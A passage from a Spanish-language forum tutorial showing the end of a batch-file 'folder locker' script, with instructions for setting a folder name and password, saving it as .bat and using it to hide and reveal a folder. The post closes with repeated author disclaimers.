echo Folder Unlocked successfully
goto End
FAIL
echo Invalid password

goto end
:MDLOCKER
md Private
echo Private created successfully
goto End
:End
Ahora cambian las palabras que estan en rojo por el nombre de la carpeta que van a a poner a la carpeta, y donde
esta en verde ahi van a poner la contrasea de la carpeta
Se van a archivo ahi mismo en el bloc de notas y le dan guardar como...
En la ventana que les aparece lo guardan con el nombre que quieran pero con la terminacion .bat como en los
otros ejemplos.
Listo!! ahora solo copian ese archivo por ejemplo en DOCUMENTOS le dan doble clic al archivo .bat y se les creara
la carpeta con el nombre que le pusieron, pero ojo aun no tiene la contrasea lo pueden comprobar abriendo la
carpeta y veran que no tiene contrasea y que cualquiera la puede abrir, para esto le vuelven a dar doble clic al
archivo .bat y les aparecera una ventanita preguntando que si quieren bloquear la carpeta solo escriben la letra "Y"
y le dan al enter y automaticamente se desaparecera la carpeta que se creo primero, para desbloquearla solo
tienen que abrir de nuevo el archivo .bat y les pedira la contrasea la ponen y de nuevo aparecera la carpeta. Les
recomiendo escribir el nombre de su carpeta private para que no les cambie el nombre
------------------------------------------------------------------------------------------------------------------------------------------------------------------REPITO: NO ME HAGO RESPONSABLE DEL USO QUE LE DEN.
Y COMO YA SABEN COMENTAR ES AGRADECER Y VALORAR ES AYUDAR A UN NOVATO A SER NFU xD
Y PARA LOS QUE COMENTEN QUE NO ES VIRUS NI NADA, YO YA HE DICHO QUE NO LO S. SOLO ES UN
POST INFORMATIVO; CON INFORMACIN DE LO QUE PUEDEN HACER CON MS-DOS Y ARCHIVOS .BAT
Y POR ULTIMO VUELVO A REPETIR (xD): NO ME HAGO RESPONSABLE DEL USO QUE LE DEN, SOLO ES
UN POST INFORMATIVO.

Vous aimerez peut-être aussi